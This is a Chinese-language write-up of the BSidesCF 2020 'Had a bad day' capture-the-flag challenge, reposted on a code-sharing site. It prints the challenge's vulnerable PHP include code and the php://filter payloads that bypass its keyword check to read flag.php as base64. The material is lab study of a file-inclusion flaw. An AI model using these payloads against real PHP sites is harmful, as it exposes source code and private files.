ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[BSidesCF 2020]Had a bad day WP

2022-06-27 02:33:31  阅读:206  来源: 互联网

标签:index convert base64 Had BSidesCF bad encode flag php


这道题先用php://filter/convert.base64-encode/resource=index(这道题不带后缀名)读取出index.php的源码:

              <?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>


            </div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

strpos()函数的意思是查当前字符串第一次出现的位置,返回结果就是要查的字符串前面有几个字符。

很明显,这道题要求get传参里有woofers、meowers、index然后进行文件包含

重点是伪协议可以嵌套协议:/index.php?category=php://filter/convert.base64-encode/index/resource=flag

知识点:

1.strpos()函数返回要查询的字符串前面有几个字符

2.?file=php://filter/convert.base64-encode/resource=flag.php    在文件包含漏洞中,传参传这个就相当于传了要读取的文件名是lag.php

3.?file=php://filter/convert.base64-encode/resource=flag.php              在/convert.base64-encode/和/resource=flag.php之间可以添加任何字符,不影响,比如这道题传参必须有woofers、meowers、index,就把这三个里的任意一个传过去,就可以得到flag.php的文件内容base64编码后的值了

 

标签:index,convert,base64,Had,BSidesCF,bad,encode,flag,php
来源: https://www.cnblogs.com/hackerone/p/16414895.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有